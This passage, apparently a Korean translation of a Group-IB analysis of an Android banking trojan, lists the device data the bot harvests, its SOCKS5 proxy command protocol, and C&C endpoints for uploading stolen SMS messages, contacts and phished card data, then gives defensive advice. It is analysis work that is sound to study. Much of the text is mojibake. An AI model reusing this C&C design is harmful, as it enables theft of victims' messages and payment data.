- imsi โ ์ฅ์น์ ๊ตญ์ ๋ชจ๋ฐ์ผ ๊ฐ์ ์ ID์ ๋๋ค. ๊ฐ์ ๊ฐ์ ธ์ค๋ ๊ณผ์ ์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ ๊ฒฝ์ฐ ์ด ํ๋ ๋์ ์ค๋ฅ ํ ์คํธ ๋ฉ์์ง๊ฐ ๊ธฐ๋ก๋ฉ๋๋ค.
- model โ ์ต์ข ์ฌ์ฉ์๊ฐ ๋ณผ ์ ์๋ ์ต์ข ์ ํ์ ์ด๋ฆ์ ๋๋ค.
- ์ ์กฐ์ ์ฒด โ ์ ํ/ํ๋์จ์ด ์ ์กฐ์ ์ฒด(Build.MANUFACTURER).
- androidVersion - "<%release_version%> (<%os_version%>),<%sdk_version%>" ํ์์ ๋ฌธ์์ด
- ๊ตญ๊ฐ โ ์ฅ์น์ ํ์ฌ ์์น.
- PartnerId๋ ๋น ๋ฌธ์์ด์ ๋๋ค.
- packageName โ ํจํค์ง ์ด๋ฆ.
- networkType โ ํ์ฌ ๋คํธ์ํฌ ์ฐ๊ฒฐ ์ ํ(์: "WIFI", "MOBILE"). ์ค๋ฅ๊ฐ ์๋ ๊ฒฝ์ฐ null์ ๋ฐํํฉ๋๋ค.
- hasGsmSupport โ true โ ์ ํ๊ธฐ๊ฐ GSM์ ์ง์ํ๋ ๊ฒฝ์ฐ, ๊ทธ๋ ์ง ์์ผ๋ฉด false์ ๋๋ค.
- simReady โ SIM ์นด๋ ์ํ.
- simCountry - ISO ๊ตญ๊ฐ ์ฝ๋(SIM ์นด๋ ์ ๊ณต์ ์ฒด ๊ธฐ์ค).
- networkOperator โ ์ด์์ ์ด๋ฆ. ๊ฐ์ ๊ฐ์ ธ์ค๋ ๊ณผ์ ์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ ๊ฒฝ์ฐ ์ด ํ๋ ๋์ ์ค๋ฅ ํ ์คํธ ๋ฉ์์ง๊ฐ ๊ธฐ๋ก๋ฉ๋๋ค.
- simOperator - ์๋น์ค ๊ณต๊ธ์ ์ด๋ฆ(SPN)์ ๋๋ค. ๊ฐ์ ๊ฐ์ ธ์ค๋ ๊ณผ์ ์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ ๊ฒฝ์ฐ ์ด ํ๋ ๋์ ์ค๋ฅ ํ ์คํธ ๋ฉ์์ง๊ฐ ๊ธฐ๋ก๋ฉ๋๋ค.
- ๋ฒ์ - ์ด ํ๋๋ ๊ตฌ์ฑ ํด๋์ค์ ์ ์ฅ๋๋ฉฐ ํ ์คํธ๋ ๋ด ๋ฒ์ ์ ๊ฒฝ์ฐ "1.6"๊ณผ ๋์ผํ์ต๋๋ค.
5. ์๋ฒ์ ๋ช ๋ น์ ๊ธฐ๋ค๋ฆฌ๋ ๋ชจ๋๋ก ์ ํํฉ๋๋ค. ์๋ฒ์ ๋ช ๋ น์ ๋ค์ ํ์์ผ๋ก ์ ๊ณต๋ฉ๋๋ค.
- 0 ์คํ์ - ๋ช ๋ น
- 1 ์คํ์ โ sessionId
- 2 ์คํ์ - ๊ธธ์ด
- 4 ์คํ์ - ๋ฐ์ดํฐ
๋ช
๋ น์ด ๋์ฐฉํ๋ฉด ์ ํ๋ฆฌ์ผ์ด์
์ ๋ค์์ ๊ธฐ๋กํฉ๋๋ค.
mainLog("ํค๋ { sessionId<%id%>], ์ ํ[<%command%>], ๊ธธ์ด[<%length%>] }")
์๋ฒ์์๋ ๋ค์ ๋ช ๋ น์ด ๊ฐ๋ฅํฉ๋๋ค.
์ฑํจ | ๋ช ๋ น | Data | ์ํ ์ค๋ช |
---|---|---|---|
์ฐ๊ฒฐ ID | 0 | ์ฐ๊ฒฐ ID | ์ ์ฐ๊ฒฐ ๋ง๋ค๊ธฐ |
ํน ์ | 3 | Time | ํ๋ก์ ๋ชจ๋ ์ผ์ ์ค์ง |
ํ๊ตฌ | 4 | - | PONG ๋ฉ์์ง ๋ณด๋ด๊ธฐ |
PONG ๋ฉ์์ง๋ 4๋ฐ์ดํธ๋ก ๊ตฌ์ฑ๋๋ฉฐ ๋ค์๊ณผ ๊ฐ์ต๋๋ค. 0 X 04000000.
ConnectionId ๋ช ๋ น์ ์์ ํ ๊ฒฝ์ฐ(์ ์ฐ๊ฒฐ์ ์์ฑํ๋ ค๋ ๊ฒฝ์ฐ) ๋ช ๋ น์ฐ๊ฒฐ ํด๋์ค์ ์ธ์คํด์ค๋ฅผ ์์ฑํฉ๋๋ค ํ๋ก์ ์ฐ๊ฒฐ.
- ๋ ํด๋์ค๊ฐ ํ๋ก์์ ์ฐธ์ฌํฉ๋๋ค. ํ๋ก์ ์ฐ๊ฒฐ ะธ end. ์์ ์ ๋ง๋ค ๋ ํ๋ก์ ์ฐ๊ฒฐ ์ฃผ์์ ์ฐ๊ฒฐ ์ค ProxyConfigClass.host: ProxyConfigClass.proxyPort JSON ๊ฐ์ฒด๋ฅผ ์ ๋ฌํฉ๋๋ค.
{
"id":<%connectionId%>
}
์ด์ ๋ํ ์๋ต์ผ๋ก ์๋ฒ๋ ์ฐ๊ฒฐ์ ์ค์ ํด์ผ ํ๋ ์๊ฒฉ ์๋ฒ์ ์ฃผ์๊ฐ ํฌํจ๋ SOCKS5 ๋ฉ์์ง๋ฅผ ๋ณด๋ ๋๋ค. ์ด ์๋ฒ์์ ์ํธ ์์ฉ์ ํด๋์ค๋ฅผ ํตํด ๋ฐ์ํฉ๋๋ค. end. ์ฐ๊ฒฐ ์ค์ ์ ๋ค์๊ณผ ๊ฐ์ด ๊ฐ๋ต์ ์ผ๋ก ํํ๋ ์ ์์ต๋๋ค.
๋คํธ์ํฌ ์ํธ์์ฉ
๋คํธ์ํฌ ์ค๋ํผ์ ์ํ ํธ๋ํฝ ๋ถ์์ ๋ฐฉ์งํ๊ธฐ ์ํด SSL ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ CnC ์๋ฒ์ ์ ํ๋ฆฌ์ผ์ด์ ๊ฐ์ ์ํธ ์์ฉ์ ๋ณดํธํ ์ ์์ต๋๋ค. ์๋ฒ์ ์ฃผ๊ณ ๋ฐ๋ ๋ชจ๋ ์ ์ก ๋ฐ์ดํฐ๋ JSON ํ์์ผ๋ก ํ์๋ฉ๋๋ค. ์ ํ๋ฆฌ์ผ์ด์ ์ ์์ ์ค์ ๋ค์ ์์ฒญ์ ์คํํฉ๋๋ค.
- http://<%CnC%>/api/v1/set_state.php โ ๋ช ๋ น ์คํ์ ๊ฒฐ๊ณผ.
- http://<%CnC%>/api/v1/get.php โ ๋ช ๋ น์ ๋ฐ์ต๋๋ค.
- http://<%CnC%>/api/v1/load_sms.php โ ๊ฐ์ผ๋ ์ฅ์น์์ SMS ๋ฉ์์ง๋ฅผ ๋ค์ด๋ก๋ํฉ๋๋ค.
- http://<%CnC%>/api/v1/load_ab.php โ ๊ฐ์ผ๋ ์ฅ์น์์ ์ฐ๋ฝ์ฒ ๋ชฉ๋ก์ ์ ๋ก๋ํฉ๋๋ค.
- http://<%CnC%>/api/v1/aevents.php โ ๊ธฐ๋ณธ ์ค์ ํ์ผ์ ์๋ ๋งค๊ฐ๋ณ์๋ฅผ ์ ๋ฐ์ดํธํ ๋ ์์ฒญ์ด ์ด๋ฃจ์ด์ง๋๋ค.
- http://<%CnC%>/api/v1/set_card.php โ Google Play ๋ง์ผ์ผ๋ก ๊ฐ์ฅํ ํผ์ฑ ์ฐฝ์ ์ฌ์ฉํ์ฌ ์ป์ ๋ฐ์ดํฐ ์ ๋ก๋.
- http://<%CnC%>/api/v1/logs.php โ ๋ก๊ทธ ๋ฐ์ดํฐ๋ฅผ ์ ๋ก๋ํ๋ ์ค์ ๋๋ค.
- http://<%CnC%>/api/v1/records.php โ ํผ์ฑ ์ฐฝ๊ตฌ๋ฅผ ํตํด ํ๋ํ ๋ฐ์ดํฐ๋ฅผ ์ ๋ก๋ํ๋ ํ์.
- http://<%CnC%>/api/v1/set_error.php โ ๋ฐ์ํ ์ค๋ฅ์ ๋ํ ์๋ฆผ.
์ถ์ฒ
๋ชจ๋ฐ์ผ ํธ๋ก์ด ๋ชฉ๋ง์ ์ํ์ผ๋ก๋ถํฐ ๊ณ ๊ฐ์ ๋ณดํธํ๊ธฐ ์ํด ๊ธฐ์ ์ ์ฌ์ฉ์ ์ฅ์น์ ์ถ๊ฐ ์ํํธ์จ์ด๋ฅผ ์ค์นํ์ง ์๊ณ ๋ ์ ์ฑ ํ๋์ ๋ชจ๋ํฐ๋งํ๊ณ ๋ฐฉ์งํ ์ ์๋ ํฌ๊ด์ ์ธ ์๋ฃจ์ ์ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
์ด๋ฅผ ์ํด์๋ ํด๋ผ์ด์ธํธ์ ์ ํ๋ฆฌ์ผ์ด์ ์์ฒด์ ๋์์ ๋ถ์ํ๋ ๊ธฐ์ ์ ํตํด ๋ชจ๋ฐ์ผ ํธ๋ก์ด ๋ชฉ๋ง๋ฅผ ํ์งํ๋ ์๋ช ๋ฐฉ๋ฒ์ ๊ฐํํด์ผ ํฉ๋๋ค. ๋ณดํธ์๋ ๋์งํธ ์ง๋ฌธ ๊ธฐ์ ์ ์ฌ์ฉํ๋ ์ฅ์น ์๋ณ ๊ธฐ๋ฅ๋ ํฌํจ๋์ด์ผ ํฉ๋๋ค. ์ด๋ฅผ ํตํด ๊ณ์ ์ด ๋น์ ํ ์ฅ์น์์ ์ฌ์ฉ ์ค์ด๊ณ ์ด๋ฏธ ์ฌ๊ธฐ๊พผ์ ์์ ๋ค์ด๊ฐ ๊ฒฝ์ฐ๋ฅผ ํ์ ํ ์ ์์ต๋๋ค.
๊ทผ๋ณธ์ ์ผ๋ก ์ค์ํ ์ ์ ๊ธฐ์ ์ด ์ธํฐ๋ท๋ฟ๋ง ์๋๋ผ ๋ชจ๋ฐ์ผ ์ฑ๋(์: ๋ชจ๋ฐ์ผ ๋ฑ ํน ์ ํ๋ฆฌ์ผ์ด์ , ์ํธํํ ๊ฑฐ๋ ๋ฐ ๊ธฐํ ๋ชจ๋ฐ์ผ ์ฑ๋)์์ ๋ฐ์ํ๋ ์ํ์ ์ ์ดํ ์ ์๋๋ก ํ๋ ๊ต์ฐจ ์ฑ๋ ๋ถ์์ ๊ฐ์ฉ์ฑ์ ๋๋ค. ๊ฑฐ๋๊ฐ ๊ฐ๋ฅํฉ๋๋ค.๊ธ์ต ๊ฑฐ๋.
์ฌ์ฉ์๋ฅผ ์ํ ์์ ๊ท์น:
- Google Play ์ด์ธ์ ์์ค์์ Android OS๊ฐ ์ค์น๋ ๋ชจ๋ฐ์ผ ์ฅ์น์ฉ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ค์นํ์ง ๋ง์ญ์์ค. ์ ํ๋ฆฌ์ผ์ด์ ์์ ์์ฒญํ๋ ๊ถ๋ฆฌ์ ํน๋ณํ ์ฃผ์๋ฅผ ๊ธฐ์ธ์ด์ญ์์ค.
- ์ ๊ธฐ์ ์ผ๋ก Android OS ์ ๋ฐ์ดํธ๋ฅผ ์ค์นํฉ๋๋ค.
- ๋ค์ด๋ก๋ํ ํ์ผ์ ํ์ฅ์์ ์ฃผ์ํ์ธ์.
- ์์ฌ์ค๋ฌ์ด ์์์ ๋ฐฉ๋ฌธํ์ง ๋ง์ญ์์ค.
- SMS ๋ฉ์์ง๋ก ๋ฐ์ ๋งํฌ๋ฅผ ํด๋ฆญํ์ง ๋ง์ญ์์ค.
์ฃผ์ฐ ์ธ๋ฌ ๋ก๊ฐ์ฒด๋ฐ, Group-IB ์ปดํจํฐ ๋ฒ์ํ ์ฐ๊ตฌ์์ ๋งฌ์จ์ด ์ฐ๊ตฌ ์ฃผ๋์ด ์ ๋ฌธ๊ฐ์
๋๋ค.
์ถ์ฒ : habr.com